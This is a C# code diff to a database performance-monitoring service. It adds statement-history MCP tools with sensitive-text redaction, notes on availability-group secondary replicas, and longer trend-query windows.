+        if (!textUsable)
+        {
+            return TextUnavailable;
+        }
+
+        if (texts is null || !texts.TryGetValue(id, out var text) || text.Length == 0)
+        {
+            return TextGone;
+        }
+
+        var shown = DarlingMcpStoreQueryStatsTools.ShownText(text);
+        return uncut ? shown : StoreStatementStats.CompactStatementText(shown, DarlingMcpStoreQueryStatsTools.PreviewLength);
+    }
+
+    private static double Round(double value) => Math.Round(value, 2);
+
+    private static double? Mean(double? total, long? calls) =>
+        total is double t && calls is long c && c > 0 ? Math.Round(t / c, 3) : null;
+
+    private static object CapturesShape(CaptureSummary c) => new
+    {
+        count = c.Count,
+        rebaselined = c.Rebaselined,
+        precondition = c.Precondition,
+        dealloc_delta_total = c.DeallocDelta,
+        capped_hours = c.CappedHours,
+    };
+
+    /// <summary>The state of the rung: a message when the read cannot go ahead, whether the live text can be joined, and why not when it cannot.</summary>
+    private static async Task<(string? Message, bool TextUsable, string? TextNote)> PreconditionAsync(NpgsqlDataSource postgres, CancellationToken ct)
+    {
+        await using (var shape = postgres.CreateCommand(ShapeSql))
+        {
+            shape.CommandTimeout = McpCommandDeadlines.ReadSeconds;
+            if (!(bool)(await shape.ExecuteScalarAsync(ct))!)
+            {
+                return ("This store has no statement history yet: it predates the history table (migration V163). The service migrates the store at its next start; the first snapshot is taken within an hour after that.", false, null);
+            }
+        }
+
+        long all, readCaptures;
+        await using (var counts = postgres.CreateCommand(CaptureCountsSql))
+        {
+            counts.CommandTimeout = McpCommandDeadlines.ReadSeconds;
+            await using var reader = await counts.ExecuteReaderAsync(ct);
+            await reader.ReadAsync(ct);
+            all = reader.GetInt64(0);
+            readCaptures = reader.GetInt64(1);
+        }
+
+        string? reason = null;
+        await using (var command = postgres.CreateCommand(DarlingMcpStoreQueryStatsTools.StateSql))
+        {
+            command.CommandTimeout = McpCommandDeadlines.ReadSeconds;
+            await using var reader = await command.ExecuteReaderAsync(ct);
+            await reader.ReadAsync(ct);
+            reason = DarlingMcpStoreQueryStatsTools.PreconditionReason(new DarlingMcpStoreQueryStatsTools.StatsState(
+                ReaderExists: reader.GetBoolean(0),
+                MayRead: reader.GetBoolean(1),
+                ExtensionVersion: reader.IsDBNull(2) ? null : reader.GetString(2),
+                Loaded: reader.GetBoolean(3),
+                TrackUtility: reader.IsDBNull(4) ? null : reader.GetString(4),
+                ConnectedAsOwner: !reader.IsDBNull(5) && reader.GetBoolean(5)));
+        }
+
+        if (all == 0)
+        {
+            return ("No statement snapshot has been taken yet: the first one is taken within an hour of the service starting.", false, null);
+        }
+
+        if (readCaptures == 0)
+        {
+            return ("Every snapshot so far could not read pg_stat_statements, so no history exists. " + (reason ?? "The service records the reason in its log; the reader functions or the loaded library are missing for its login."), false, null);
+        }
+
+        return (null, reason is null, reason);
+    }
+
+    private static async Task<CaptureSummary> ReadCapturesAsync(NpgsqlDataSource postgres, DateTime windowStart, CancellationToken ct)
+    {
+        await using var command = postgres.CreateCommand(CaptureSummarySql);
+        command.CommandTimeout = McpCommandDeadlines.ReadSeconds;
+        command.Parameters.Add(new NpgsqlParameter { Value = windowStart, NpgsqlDbType = NpgsqlDbType.Timestamp });
+        await using var reader = await command.ExecuteReaderAsync(ct);
+        await reader.ReadAsync(ct);
+        return new CaptureSummary(reader.GetInt64(0), reader.GetInt64(1), reader.GetInt64(2), reader.GetInt64(3), reader.GetInt64(4));
+    }
+
+    private static async Task<List<SeriesRow>> ReadSeriesAsync(NpgsqlDataSource postgres, DateTime windowStart, string? roleKey, long id, CancellationToken ct)
+    {
+        var rows = new List<SeriesRow>();
+        await using var command = postgres.CreateCommand(SeriesSql);
+        command.CommandTimeout = McpCommandDeadlines.ReadSeconds;
+        command.Parameters.Add(new NpgsqlParameter { Value = windowStart, NpgsqlDbType = NpgsqlDbType.Timestamp });
+        command.Parameters.Add(new NpgsqlParameter { Value = (object?)roleKey ?? DBNull.Value, NpgsqlDbType = NpgsqlDbType.Text });
+        command.Parameters.Add(new NpgsqlParameter { Value = id, NpgsqlDbType = NpgsqlDbType.Bigint });
+        await using var reader = await command.ExecuteReaderAsync(ct);
+        while (await reader.ReadAsync(ct))
+        {
+            rows.Add(new SeriesRow(
+                DateTime.SpecifyKind(reader.GetDateTime(0), DateTimeKind.Utc),
+                reader.GetString(1),
+                reader.GetInt32(2),
+                reader.GetInt64(3),
+                reader.GetDouble(4),
+                reader.GetInt64(5),
+                reader.GetInt64(6),
+                reader.GetInt64(7),
+                reader.GetInt64(8),
+                reader.IsDBNull(9) ? null : reader.GetDouble(9),
+                reader.GetBoolean(10),
+                reader.GetBoolean(11),
+                reader.GetBoolean(12)));
+        }
+
+        return rows;
+    }
+
+    private static async Task<List<RankedRow>> ReadRankedAsync(NpgsqlDataSource postgres, DateTime windowStart, string? roleKey, int fetch, CancellationToken ct)
+    {
+        var rows = new List<RankedRow>();
+        await using var command = postgres.CreateCommand(RankedSql);
+        command.CommandTimeout = McpCommandDeadlines.ReadSeconds;
+        command.Parameters.Add(new NpgsqlParameter { Value = windowStart, NpgsqlDbType = NpgsqlDbType.Timestamp });
+        command.Parameters.Add(new NpgsqlParameter { Value = (object?)roleKey ?? DBNull.Value, NpgsqlDbType = NpgsqlDbType.Text });
+        command.Parameters.Add(new NpgsqlParameter { Value = fetch, NpgsqlDbType = NpgsqlDbType.Integer });
+        await using var reader = await command.ExecuteReaderAsync(ct);
+        while (await reader.ReadAsync(ct))
+        {
+            rows.Add(new RankedRow(
+                reader.GetString(0),
+                reader.GetInt64(1),
+                reader.GetInt64(2),
+                reader.GetDouble(3),
+                reader.GetInt64(4),
+                reader.GetInt64(5),
+                reader.GetInt64(6),
+                reader.GetInt64(7),
+                reader.IsDBNull(8) ? null : reader.GetDouble(8),
+                reader.GetInt32(9),
+                reader.IsDBNull(10) ? null : reader.GetInt64(10),
+                reader.IsDBNull(11) ? null : reader.GetDouble(11),
+                reader.IsDBNull(12) ? null : reader.GetInt64(12),
+                reader.IsDBNull(13) ? null : reader.GetDouble(13),
+                reader.GetInt32(14),
+                reader.GetInt32(15),
+                reader.GetInt32(16),
+                reader.GetInt32(17)));
+        }
+
+        return rows;
+    }
+
+    private static async Task<IReadOnlyDictionary<long, string>> ReadTextAsync(NpgsqlDataSource postgres, long[] ids, CancellationToken ct)
+    {
+        /* No catch here, on purpose (#5097): both callers let a failed text read reach the tool's one catch, so the whole answer
+           is an error. It is never rows with the text left out, and never a fallback that reads a text some other way: every text
+           this tool shows has passed the reader function, the shared predicate and the lexer, and an error is the one outcome that
+           cannot show a text those layers did not clear. A read that fails after the gate passed (the reader's grant revoked or its
+           function replaced in between, a timeout on a large text file) is rare. The cost is that the bundle then marks the section
+           error, with no history rows, and the verb exits as a partial bundle: a fault to see, not text quietly left out. */
+        var texts = new Dictionary<long, string>();
+        await using var command = postgres.CreateCommand(TextSql);
+        command.CommandTimeout = McpCommandDeadlines.ReadSeconds;
+        command.Parameters.Add(new NpgsqlParameter { Value = ids, NpgsqlDbType = NpgsqlDbType.Array | NpgsqlDbType.Bigint });
+        await using var reader = await command.ExecuteReaderAsync(ct);
+        while (await reader.ReadAsync(ct))
+        {
+            if (!reader.IsDBNull(1))
+            {
+                texts[reader.GetInt64(0)] = reader.GetString(1);
+            }
+        }
+
+        return texts;
+    }
+
+    /// <summary>
+    /// The notice from the history's OWN start (the earliest capture that read the extension, over all time), not a collector
+    /// table's probe. A failed read answers <see cref="McpWindowNotice.Unavailable"/>: it costs the keys, never the answer.
+    /// </summary>
+    private static readonly AsyncLocal<bool> s_failEarliestRead = new();
+
+    /// <summary>A test's switch that makes the earliest-capture read fail, per async flow.</summary>
+    internal static bool TestOnlyFailEarliestRead
+    {
+        get => s_failEarliestRead.Value;
+        set => s_failEarliestRead.Value = value;
+    }
+
+    private static async Task<McpWindowNotice> ReadNoticeAsync(
+        NpgsqlDataSource postgres, DateTime windowStart, bool emptyAnswer, ILogger? logger, CancellationToken ct)
+    {
+        try
+        {
+            DateTime? floor;
+            if (s_failEarliestRead.Value)
+            {
+                throw new InvalidOperationException("test-only: the earliest-capture read failed");
+            }
+
+            await using (var command = postgres.CreateCommand(EarliestCaptureSql))
+            {
+                command.CommandTimeout = McpCommandDeadlines.ReadSeconds;
+                var value = await command.ExecuteScalarAsync(ct);
+                floor = value is DateTime d ? DateTime.SpecifyKind(d, DateTimeKind.Utc) : null;
+            }
+
+            return DarlingMcpWindowNotice.Build(
+                floor, windowStart, Table, "History is kept 90 days and taken hourly.", emptyAnswer, storeSubject: true);
+        }
+        catch (Exception ex) when (!(ex is OperationCanceledException && ct.IsCancellationRequested))
+        {
+            logger?.LogWarning(ex, "The coverage read of {Table} failed; the answer goes without its window-floor notice.", Table);
+            return McpWindowNotice.Unavailable;
+        }
+    }
+
+    private static async Task<string> EmptyAsync(
+        NpgsqlDataSource postgres, string message, DateTime windowStart, CaptureSummary captures, ILogger? logger, CancellationToken ct)
+    {
+        var notice = await ReadNoticeAsync(postgres, windowStart, emptyAnswer: true, logger, ct);
+        return McpHelpers.Status(
+            "empty",
+            message,
+            notice.IsUnavailable
+                ? (object)new { captures = CapturesShape(captures) }
+                : new { effective_start = notice.EffectiveStart, window_truncated = notice.WindowTruncated, truncation_note = notice.TruncationNote, captures = CapturesShape(captures) });
+    }
+
+    private sealed record CaptureSummary(long Count, long Rebaselined, long Precondition, long DeallocDelta, long CappedHours);
+
+    private sealed record SeriesRow(
+        DateTime CaptureTime, string Role, int IntervalSeconds, long Calls, double TotalMs, long Rows,
+        long BlksHit, long BlksRead, long TempWritten, double? MaxMs, bool FirstSeen, bool EntryRestarted, bool ResetInInterval);
+
+    private sealed record RankedRow(
+        string Role, long QueryId, long Calls, double TotalMs, long Rows, long BlksHit, long BlksRead, long TempWritten,
+        double? MaxMs, int HoursPresent, long? RecentCalls, double? RecentTotalMs, long? EarlierCalls, double? EarlierTotalMs,
+        int FirstSeenHours, int RestartedHours, int ResetHours, int SplitHours);
+}
diff --git a/Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingMcpStoreQueryStatsTools.cs b/Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingMcpStoreQueryStatsTools.cs
index 1fe1ba9bfc..dd7ae5ca62 100644
--- a/Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingMcpStoreQueryStatsTools.cs
+++ b/Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingMcpStoreQueryStatsTools.cs
@@ -136,7 +136,11 @@ GROUP BY 1
 
     /// <summary>The ranked statements. <c>$1</c> the role key or null for every role, <c>$2</c> the fetch size
     /// (the caller's cap plus one, so truncation is observed rather than inferred). <paramref name="orderColumn"/>
-    /// comes from <see cref="OrderColumns"/> and nowhere else.</summary>
+    /// comes from <see cref="OrderColumns"/> and nowhere else. The text is wrapped in the shared sensitive-statement
+    /// predicate (#4348), a second layer on top of the reader function's own filter for a store whose function body is
+    /// older than the pattern; <see cref="ShownText"/> reads what it withholds as <see cref="StoreStatementStats.WithheldText"/>.
+    /// The diagnostics bundle lists these statements whole (#5097), next to the ones <c>get_store_query_history</c> reads
+    /// through the same layer.</summary>
     public static string BuildStatementsSql(string orderColumn) => $@"
 SELECT
     ranked.role_key,
@@ -149,7 +153,7 @@ public static string BuildStatementsSql(string orderColumn) => $@"
     ranked.shared_blks_hit,
     ranked.shared_blks_read,
     ranked.temp_blks_written,
-    ranked.query
+    {PgSensitiveStatementFilter.SqlPredicate("ranked.query")} AS query
 FROM
 (
     SELECT
@@ -427,11 +431,26 @@ internal static string BuildNote(StatsState state, bool utilityTracked, long hid
     /// execution on a busy store, or reset between a protocol Parse and its Execute (<c>pgss_store</c> with no
     /// jumble state, PostgreSQL 18's pg_stat_statements.c). Such a text passes the reader's allowlist like any
     /// SELECT. A caller of the reader function in SQL still reads it unmasked.
+    ///
+    /// <para>A text the shared sensitive-statement filter withheld in SQL arrives as
+    /// <see cref="PgSensitiveStatementFilter.PlaceholderText"/>. Both text reads wrap the reader function's text in
+    /// <see cref="PgSensitiveStatementFilter.SqlPredicate"/> (<see cref="BuildStatementsSql"/> and
+    /// <see cref="DarlingMcpStoreQueryHistoryTools.TextSql"/>), a second layer for a store whose reader function is older
+    /// than the pattern. The placeholder is a SQL line comment, which the lexer strips, so left to it the statement
+    /// would read as an empty string: neither its text nor a withheld marker. It reads as
+    /// <see cref="StoreStatementStats.WithheldText"/> instead, before the lexer runs.</para>
     /// </summary>
-    internal static string ShownText(string text) =>
-        text.Length == 0 || text == InsufficientPrivilegeText || text == StoreStatementStats.WithheldText
+    internal static string ShownText(string text)
+    {
+        if (text == PgSensitiveStatementFilter.PlaceholderText)
+        {
+            return StoreStatementStats.WithheldText;
+        }
+
+        return text.Length == 0 || text == InsufficientPrivilegeText || text == StoreStatementStats.WithheldText
             ? text
             : PgLogTextRedactor.RedactStoredStatement(text) ?? StoreStatementStats.WithheldText;
+    }
 
     private sealed record StatementRow(
         string Role,
diff --git a/Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingMcpTools.cs b/Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingMcpTools.cs
index 81e2fdcd57..9524c0cdf0 100644
--- a/Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingMcpTools.cs
+++ b/Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingMcpTools.cs
@@ -89,6 +89,10 @@ make every ordinary run look anchored to the engine — which is exactly the set
                 }, McpHelpers.JsonOptions);
             }
 
+            /* #5558: databases left to the primary because this node holds only a secondary copy of them in an
+               availability group; the set THIS pass used. Null when none, and then the field is simply null. */
+            var secondaryReplicaNote = analysisService.LastSecondaryReplicaNote;
+
             /* #2506: whether this run's findings reached the store, and why not when they did not.
                Reported rather than left to the documentation because the caller cannot otherwise tell:
                an anchored run returns a complete, correct set of findings that simply does not exist in
@@ -123,7 +127,8 @@ persistence disclosure. */
                     {
                         analysis_time = analysisService.LastAnalysisTime?.ToString("o"),
                         persisted = anchor is null,
-                        persistence_note = persistenceNote
+                        persistence_note = persistenceNote,
+                        secondary_replica_note = secondaryReplicaNote
                     }, McpHelpers.JsonOptions));
             }
 
@@ -165,12 +170,14 @@ over families that were never read is not an all-clear. */
                     : $"No significant findings in the {coverage!.Fraction:P0} of this window the collector observed — a PARTIAL reading, not a full all-clear. {coverage.Describe()}. The unobserved stretch could have held anything, and nothing here speaks for it; check get_collection_health for why collection stopped.";
                 return McpHelpers.Status(
                     "empty",
-                    collectionCaveat is null ? allClear : $"{allClear} COLLECTION CAVEAT: {collectionCaveat}",
+                    (collectionCaveat is null ? allClear : $"{allClear} COLLECTION CAVEAT: {collectionCaveat}")
+                        + (secondaryReplicaNote is null ? string.Empty : " " + secondaryReplicaNote),
                     collection.Attach(new
                     {
                         analysis_time = analysisService.LastAnalysisTime?.ToString("o"),
                         persisted = anchor is null,
                         persistence_note = persistenceNote,
+                        secondary_replica_note = secondaryReplicaNote,
                         coverage = coverage?.ToPayload(),
                         fact_count = analysisService.LastFactCount,
                         facts_scored = analysisService.LastFactsScored
@@ -205,6 +212,7 @@ one every caller already assumed. */
                 /* Null at full coverage (#3538 A2) — same rule; the collection caveat (#3691) joins it
                    only when a family failed, so a clean full-coverage pass keeps its null. */
                 caveat = CollectionCaveats.Compose(coverageCaveat, collectionCaveat),
+                secondary_replica_note = secondaryReplicaNote,
                 coverage = coverage?.ToPayload(),
                 time_range = new
                 {
@@ -332,6 +340,12 @@ public static async Task<string> GetAnalysisFacts(
             var (facts, coverage, collection) = await analysisService.CollectAndScoreFactsAsync(
                 resolved.ServerId, resolved.ServerName, hours_back, asOfUtc: anchor, cancellationToken: cancellationToken);
 
+            /* #5558: databases left to the primary because this node holds only a secondary copy of them in an
+               availability group, as of the window end; the facts below were trimmed of them. Built from the set the
+               read's own context filtered with (carried on the returned collection state), not from a second read, so
+               the note cannot disagree with what was skipped. Null when none, and then the field is simply null. */
+            var secondaryReplicaNote = AgReplicaScope.SkippedNote(collection.SecondaryReplicaDatabases);
+
             /* #3691: null on a clean read, and then every envelope below is byte-for-byte what it was; when
                a family failed, the sentence is appended to the message and collection_caveats to the payload. */
             var collectionCaveat = collection.Describe();
@@ -343,12 +357,11 @@ public static async Task<string> GetAnalysisFacts(
                    #3691: a pass in which every family FAILED lands here too, and used to be told apart from
                    "no data" only by the service log; the caveat now says which families were not read. */
                 const string noFacts = "No facts collected. The collector may not have run yet, or no data exists in the requested time range.";
-                return collectionCaveat is null
-                    ? McpHelpers.Status("unavailable", noFacts)
-                    : McpHelpers.Status(
-                        "unavailable",
-                        $"{noFacts} COLLECTION CAVEAT: {collectionCaveat}",
-                        collection.Attach(new { coverage = coverage?.ToPayload() }, McpHelpers.JsonOptions));
+                var noFactsMessage = secondaryReplicaNote is null ? noFacts : $"{noFacts} {secondaryReplicaNote}";
+                return McpHelpers.Status(
+                    "unavailable",
+                    collectionCaveat is null ? noFactsMessage : $"{noFactsMessage} COLLECTION CAVEAT: {collectionCaveat}",
+                    collection.Attach(new { secondary_replica_note = secondaryReplicaNote, coverage = coverage?.ToPayload() }, McpHelpers.JsonOptions));
             }
 
             if (coverage is null || !coverage.IsObserved)
@@ -365,7 +378,7 @@ after configuration alone knows audit_config still has it. */
                     $"{facts.Count} point-in-time fact(s) — configuration and current state — could still be read; audit_config reports those. " +
                     "Check get_collection_health to see when collectors last succeeded and why they stopped." +
                     (collectionCaveat is null ? string.Empty : $" COLLECTION CAVEAT: {collectionCaveat}"),
-                    collection.Attach(new { coverage = coverage?.ToPayload() }, McpHelpers.JsonOptions));
+                    collection.Attach(new { secondary_replica_note = secondaryReplicaNote, coverage = coverage?.ToPayload() }, McpHelpers.JsonOptions));
             }
 
             var filtered = facts.AsEnumerable();
@@ -417,6 +430,7 @@ after configuration alone knows audit_config still has it. */
                 total_facts = facts.Count,
                 shown = result.Count,
                 filters = new { source, min_severity },
+                secondary_replica_note = secondaryReplicaNote, /* #5558: null when nothing was left to the primary */
                 /* #3538 A2: null at full coverage; below the partial bar it says what share of the window
                    the fractions and rates were divided over, because a 25%-of-observed-time wait on a
                    quarter-collected window is a different claim from 25% of four hours. #3691: the
@@ -467,12 +481,18 @@ silently change what the two windows are relative to each other. */
             var baselineEnd = windowEnd.AddHours(-baseline_hours_back + hours_back);
             var baselineStart = windowEnd.AddHours(-baseline_hours_back);
 
-            var (baselineFacts, comparisonFacts, baselineCoverage, comparisonCoverage, dispersion) = await analysisService.ComparePeriodsAsync(
+            var (baselineFacts, comparisonFacts, baselineCoverage, comparisonCoverage, dispersion, baselineSecondaries, comparisonSecondaries) = await analysisService.ComparePeriodsAsync(
                 resolved.ServerId, resolved.ServerName,
                 baselineStart, baselineEnd,
                 comparisonStart, comparisonEnd,
                 cancellationToken);
 
+            /* #5558: per window, because each window uses the role at its own end and the two can straddle a
+               failover. Built from the sets the windows' contexts filtered with (returned beside the coverages), not
+               from a second read, so the note names exactly what the comparison skipped. */
+            var baselineSecondaryNote = AgReplicaScope.SkippedNote(baselineSecondaries);
+            var comparisonSecondaryNote = AgReplicaScope.SkippedNote(comparisonSecondaries);
+
             /* The COLLECTION_GAP context fact (#3538 A2) is an observation of the COLLECTOR, not of the
                server, and it is reported through the coverage blocks and caveat below. Left in the
                comparison it would count as a "stable" (or, on one side, a "new") entry in the summary
@@ -523,7 +543,9 @@ in hand are the whole answer.
                            it observed and found idle — is the difference between "check collection" and
                            "the server was quiet", and only the coverage can tell them apart. */
                         baseline_coverage = baselineCoverage?.ToPayload(),
-                        comparison_coverage = comparisonCoverage?.ToPayload()
+                        comparison_coverage = comparisonCoverage?.ToPayload(),
+                        baseline_secondary_replica_note = baselineSecondaryNote,
+                        comparison_secondary_replica_note = comparisonSecondaryNote
                     });
             }
 
@@ -580,14 +602,16 @@ description is not in front of the reader when the numbers are. */
                     start = baselineStart.ToString("o"),
                     end = baselineEnd.ToString("o"),
                     fact_count = baselineServerFacts.Count,
-                    coverage = baselineCoverage?.ToPayload()
+                    coverage = baselineCoverage?.ToPayload(),
+                    secondary_replica_note = baselineSecondaryNote
                 },
                 comparison = new
                 {
                     start = comparisonStart.ToString("o"),
                     end = comparisonEnd.ToString("o"),
                     fact_count = comparisonServerFacts.Count,
-                    coverage = comparisonCoverage?.ToPayload()
+                    coverage = comparisonCoverage?.ToPayload(),
+                    secondary_replica_note = comparisonSecondaryNote
                 },
                 summary = comparison.SummaryPayload(),
                 families = comparison.Families.Select(f => f.ToPayload()).ToList(),
@@ -1128,11 +1152,16 @@ exactly when the window held an occurrence the newest-first LIMIT dropped. This
                 resolved.ServerId, hours_back, FindingOccurrences.WindowCoveringLimit + 1, asOfUtc: anchor, cancellationToken: cancellationToken);
             var (findings, truncated) = McpHelpers.BoundPage(fetched, FindingOccurrences.WindowCoveringLimit);
 
+            /* #5558: databases skipped because this node holds only a secondary copy of them in an availability group
+               (their per-database findings are the primary's). Null when none; the same sentence on every surface. */
+            var secondaryReplicaNote = await PgSecondaryReplicaScope.NoteAsync(postgres, resolved.ServerId, null, cancellationToken, anchor);
+
             if (findings.Count == 0)
             {
                 return McpHelpers.Status(
                     "empty",
-                    "No findings in the requested time range. Run analyze_server to generate new findings.");
+                    "No findings in the requested time range. Run analyze_server to generate new findings."
+                    + (secondaryReplicaNote is null ? "" : " " + secondaryReplicaNote));
             }
 
             /* #2000: collapse to one entry per (story_path_hash, incident_id). Measured 27.9x
@@ -1180,6 +1209,7 @@ than the fleet mean (~15/server/24h after collapse), and unlike the raw-read cap
                 finding_count = groups.Count,
                 total_finding_count = totalFindingCount,
                 total_occurrences = findings.Count,
+                secondary_replica_note = secondaryReplicaNote,
                 // No silent caps: a read the window-covering limit CUT has had its OLDEST rows dropped by
                 // the store's newest-first LIMIT, so occurrence stats may under-report — say so instead of
                 // letting first_seen quietly lie. truncated is the #3594 flag (observed above); the note
@@ -1286,7 +1316,9 @@ than the fleet mean (~15/server/24h after collapse), and unlike the raw-read cap
                         // carry this tool's cut.
                         remediation_command = remediationCommand,
                         // #2138: the machine-first projection — see analyze_server's twin field.
-                        structured_remediation = FactRemediation.BuildStructuredRemediation(f.Remediation, forcePlanStates, forcePlanStateNote)
+                        structured_remediation = FactRemediation.BuildStructuredRemediation(f.Remediation, forcePlanStates, forcePlanStateNote),
+                        // A standing config fix (database/RCSI/autogrowth/server config), not an incident: the viewer's rule.
+                        is_config_fix = FactRemediation.IsConfigFix(f.Remediation)
                     };
                 })
             }, McpHelpers.JsonOptions);
diff --git a/Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingMcpTrendTools.cs b/Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingMcpTrendTools.cs
index e1efbb6c08..63cfd7c8dd 100644
--- a/Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingMcpTrendTools.cs
+++ b/Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingMcpTrendTools.cs
@@ -114,7 +114,8 @@ internal static async Task<string> GetMemoryTrend(
         var (resolved, error) = await DarlingServerResolver.ResolveOrErrorAsync(postgres, server_name, cancellationToken);
         if (error != null) return error;
 
-        var validation = McpHelpers.ValidateWindow(hours_back, as_of, out var windowEnd);
+        /* #5562: reaches the raw table's 30-day retention (720 h); 0.86 s at 30 days on a large store. The ceiling is the WebReadReach row. */
+        var validation = McpHelpers.ValidateWindow(hours_back, as_of, WebReadReach.MaxHoursFor("get_memory_trend"), out var windowEnd);
         if (validation != null) return validation;
 
         var bucketError = TrendBuckets.Resolve(hours_back, bucket_minutes, 1, budget, out var bucketMinutes);
@@ -166,7 +167,7 @@ appears where snapshots exist with nothing granted. Lite's tool builds the same
         }
     }
 
-    [McpServerTool(Name = "get_perfmon_trend"), Description("Gets one performance counter over time in buckets, ending at as_of. counter_kind says the unit: gauge - value is the bucket average, delta_value and sample_interval_seconds null (no delta for a level); rate - per-second is delta_value divided by sample_interval_seconds, never delta_value alone or when the interval is 0; other - delta_value is a non-rate change; null - classify by name (ends in /sec = rate). No points never returns empty: not_collected covers a gated engine, Page Life Expectancy, or an unknown counter name; unavailable: no counter at all collected in the window. <<GUIDE>> Gets one performance counter over time in time buckets. Use get_perfmon_stats first to see available counter names. artifacts_set_aside counts an isolated single-sample Wait Statistics spike excluded from the sums before bucketing (notes explains it); it is not a missing-data count. counter_kind (from the stored cntr_type) says what a point's number is: 'gauge' — value is the bucket's average reading and peak_value its highest, delta_value and sample_interval_seconds are null because a level has no delta; 'rate' — the per-second figure is delta_value divided by sample_interval_seconds, never delta_value alone, and never where sample_interval_seconds is 0 (no delta was knowable), and each point carries it as per_second (null where the interval is 0); 'other' — delta_value is the change of an average/fraction numerator, not a rate and not a level; null — the rows predate the stored type or the instances mix types, so classify by name (a name ending in /sec is a rate)." + BaselineDiscontinuities.DescriptionSentence)]
+    [McpServerTool(Name = "get_perfmon_trend"), Description("Gets one performance counter over time in buckets, ending at as_of. counter_kind says the unit: gauge - value is the bucket average, delta_value and sample_interval_seconds null (no delta for a level); rate - per-second is delta_value divided by sample_interval_seconds, never delta_value alone or when the interval is 0; other - delta_value is a non-rate change; null - classify by name (ends in /sec = rate). No points never returns empty: not_collected covers a gated engine, Page Life Expectancy, or an unknown counter name; unavailable: no counter at all collected in the window. <<GUIDE>> Gets one performance counter over time in time buckets. hours_back reaches 720 (30 days). Use get_perfmon_stats first to see available counter names. artifacts_set_aside counts an isolated single-sample Wait Statistics spike excluded from the sums before bucketing (notes explains it); it is not a missing-data count. counter_kind (from the stored cntr_type) says what a point's number is: 'gauge' — value is the bucket's average reading and peak_value its highest, delta_value and sample_interval_seconds are null because a level has no delta; 'rate' — the per-second figure is delta_value divided by sample_interval_seconds, never delta_value alone, and never where sample_interval_seconds is 0 (no delta was knowable), and each point carries it as per_second (null where the interval is 0); 'other' — delta_value is the change of an average/fraction numerator, not a rate and not a level; null — the rows predate the stored type or the instances mix types, so classify by name (a name ending in /sec is a rate)." + BaselineDiscontinuities.DescriptionSentence)]
     public static Task<string> GetPerfmonTrend(
         NpgsqlDataSource postgres,
         [Description("The exact counter name, e.g. 'Batch Requests/sec'.")] string counter_name,
@@ -186,7 +187,10 @@ internal static async Task<string> GetPerfmonTrend(
         var (resolved, error) = await DarlingServerResolver.ResolveOrErrorAsync(postgres, server_name, cancellationToken);
         if (error != null) return error;
 
-        var validation = McpHelpers.ValidateWindow(hours_back, as_of, out var windowEnd);
+        /* #5574: reaches the raw table's 30-day retention (720 h); 1.3 s cold at 30 days on a large store once the compressed perfmon_stats
+           data was re-grouped by counter (it read 11.2 s while the compression grouped by server only, so the read decoded every counter's
+           name). The ceiling is the WebReadReach row. */
+        var validation = McpHelpers.ValidateWindow(hours_back, as_of, WebReadReach.MaxHoursFor("get_perfmon_trend"), out var windowEnd);
         if (validation != null) return validation;
 
         var bucketError = TrendBuckets.Resolve(hours_back, bucket_minutes, 1, budget, out var bucketMinutes);
@@ -275,7 +279,7 @@ public static Task<string> GetFileIoTrend(
         [Description(TrendBuckets.BucketMinutesDescription)] int? bucket_minutes = null,
         [Description("One database, charted per file. Omit for every database.")] string? database_name = null,
         CancellationToken cancellationToken = default) =>
-        GetFileIoTrend(postgres, server_name, hours_back, as_of, bucket_minutes, database_name, TrendBudget.Mcp(TrendBuckets.FileIoMaxPoints), cancellationToken);
+        GetFileIoTrend(postgres, server_name, hours_back, as_of, bucket_minutes, DatabaseFilter.One(database_name), TrendBudget.Mcp(TrendBuckets.FileIoMaxPoints), cancellationToken);
 
     /// <summary>
     /// get_file_io_trend under an explicit <paramref name="budget"/> (#3897): the MCP tool above passes its own,
@@ -287,15 +291,21 @@ public static Task<string> GetFileIoTrend(
     /// bucket width — five lines and an "(other)" line need coarser buckets than two lines do to stay inside the
     /// same budget. The second buckets only those lines; it re-derives the same ranking in SQL rather than taking
     /// the list back as parameters, which keeps the two statements one shared CTE and the two SKUs one shape.</para>
+    ///
+    /// <para><paramref name="databases"/> (#5244) limits both reads. One database keeps the per-file chart (each line a
+    /// file, <c>file_name</c> on every row); two or more draw per-database lines within the set, and every database is the
+    /// per-database view. The top five lines plus "(other)" cap applies in each shape, after the filter. The name is kept
+    /// exactly: a leading or trailing space is part of it, as for every other filtered read.</para>
     /// </summary>
     internal static async Task<string> GetFileIoTrend(
         NpgsqlDataSource postgres, string? server_name, int hours_back, string? as_of, int? bucket_minutes,
-        string? database_name, TrendBudget budget, CancellationToken cancellationToken = default)
+        DatabaseFilter databases, TrendBudget budget, CancellationToken cancellationToken = default)
     {
         var (resolved, error) = await DarlingServerResolver.ResolveOrErrorAsync(postgres, server_name, cancellationToken);
         if (error != null) return error;
 
-        var validation = McpHelpers.ValidateWindow(hours_back, as_of, out var windowEnd);
+        /* #5562: reaches the raw table's 30-day retention (720 h); 6.3 s at 30 days on a large store. The ceiling is the WebReadReach row. */
+        var validation = McpHelpers.ValidateWindow(hours_back, as_of, WebReadReach.MaxHoursFor("get_file_io_trend"), out var windowEnd);
         if (validation != null) return validation;
 
         /* An unusable width is a fault in the request whatever the window holds, so it is refused before anything
@@ -303,20 +313,22 @@ internal static async Task<string> GetFileIoTrend(
         var widthError = TrendBuckets.ValidateWidth(bucket_minutes);
         if (widthError != null) return widthError;
 
-        var scope = string.IsNullOrWhiteSpace(database_name) ? null : database_name.Trim();
+        /* The one-database case is the per-file chart; the same single name is what the empty answer names. */
+        var scope = databases.Names.Count == 1 ? databases.Names[0] : null;
+        var echo = databases.Describe();
 
         try
         {
             var now = windowEnd;
             var start = now.AddHours(-hours_back);
-            var series = await DarlingTrendReader.GetFileIoSeriesAsync(postgres, resolved.ServerId, start, now, scope, cancellationToken);
+            var series = await DarlingTrendReader.GetFileIoSeriesAsync(postgres, resolved.ServerId, start, now, databases, cancellationToken);
             if (series.Count == 0)
             {
                 /* Same two states as the memory trend, same probe discipline. The quiet-window sentence
